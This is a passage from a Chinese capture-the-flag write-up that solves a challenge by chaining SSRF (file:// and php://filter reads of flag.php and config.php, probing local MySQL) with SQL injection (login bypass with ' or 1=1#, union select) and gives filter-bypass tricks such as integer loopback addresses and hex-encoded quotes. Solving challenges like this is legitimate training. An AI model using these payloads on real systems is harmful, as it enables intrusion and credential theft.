若 SSRF 可用,进一步读取 Web 应用敏感文件:- 网站根目录可能存在
flag.php,尝试url=file:///var/www/html/flag.php(Linux 常见 Web 路径) - 若存在数据库配置文件(如
config.php),可读取数据库账号密码:url=file:///var/www/html/config.php,为后续 SQL 注入做准备。
- 网站根目录可能存在
- 探测内部服务
若目标服务器运行其他服务(如 MySQL、Redis),可通过127.0.0.1访问:- 测试
url=http://127.0.0.1:3306(MySQL 默认端口),若返回数据库版本信息,可进一步利用数据库漏洞。
- 测试
第二步:利用 SQL 注入漏洞获取 flag
针对第一个表单的uname和passwd参数,测试 SQL 注入:
- 判断注入点
在uname字段输入单引号',passwd任意输入并提交。若页面返回数据库错误(如You have an error in your SQL syntax),说明存在注入点。 - 构造注入 payload 绕过登录
若为字符型注入,使用万能密码绕过:uname=1' or 1=1#&passwd=1(#注释掉后续 SQL 语句,使条件恒为真)- 若登录成功,可能直接进入后台获取 flag。
- 读取数据库中的 flag
若需查询 flag 所在表,可使用联合查询(假设查询结果回显):- 先判断字段数:
uname=1' order by 2#&passwd=1(若字段数为 2,无错误) - 联合查询读取数据:
uname=1' union select 1,flag from flag#&passwd=1(假设表名为flag,字段为flag)
- 先判断字段数:
第三步:结合漏洞链深化攻击
若单一漏洞无法直接获取 flag,可组合利用:
- 若 SSRF 无法直接读取
flag.php(可能被过滤),可通过 SSRF 获取数据库配置(如config.php中的$dbpass='xxx'),再用 SQL 注入登录数据库,执行select flag from flag。 - 若 SQL 注入无回显,可通过 SSRF 访问本地数据库服务(如
url=mysql://user:pass@127.0.0.1:3306/query?sql=select+flag+from+flag),直接执行查询。
三、防御绕过技巧
- SSRF 过滤绕过
- 若
file://协议被禁,尝试php://filter协议读取文件:url=php://filter/convert.base64-encode/resource=/var/www/html/flag.php(Base64 编码避免特殊字符过滤)。 - 若
127.0.0.1被禁,用等效 IP 绕过:url=http://0.0.0.0(等价于本地回环)、url=http://2130706433(127.0.0.1 的整数形式)。
- 若
- SQL 注入过滤绕过
- 若单引号被过滤,用十六进制编码:
uname=0x3127206f7220313d3123(对应1' or 1=1#的十六进制)。 - 若
or、#被过滤,用||和--+替代:uname=1' || 1=1--+&passwd=1。
- 若单引号被过滤,用十六进制编码:
四、预期结果与 flag 获取
- 若 SSRF 成功,读取
flag.php可直接获取 flag(如``)。 - 若 SQL 注入成功,联合查询结果会回显 flag(如页面显示
ctf{xxx})。
总结
本题核心是利用SSRF 读取敏感文件和SQL 注入突破登录,二者可单独或组合使用。解题关键在于:
- 验证 SSRF 对本地资源的访问权限;
- 确认 SQL 注入点并构造有效 payload;
- 根据过滤规则灵活调整攻击手段(如协议转换、编码绕过)。

浙公网安备 33010602011771号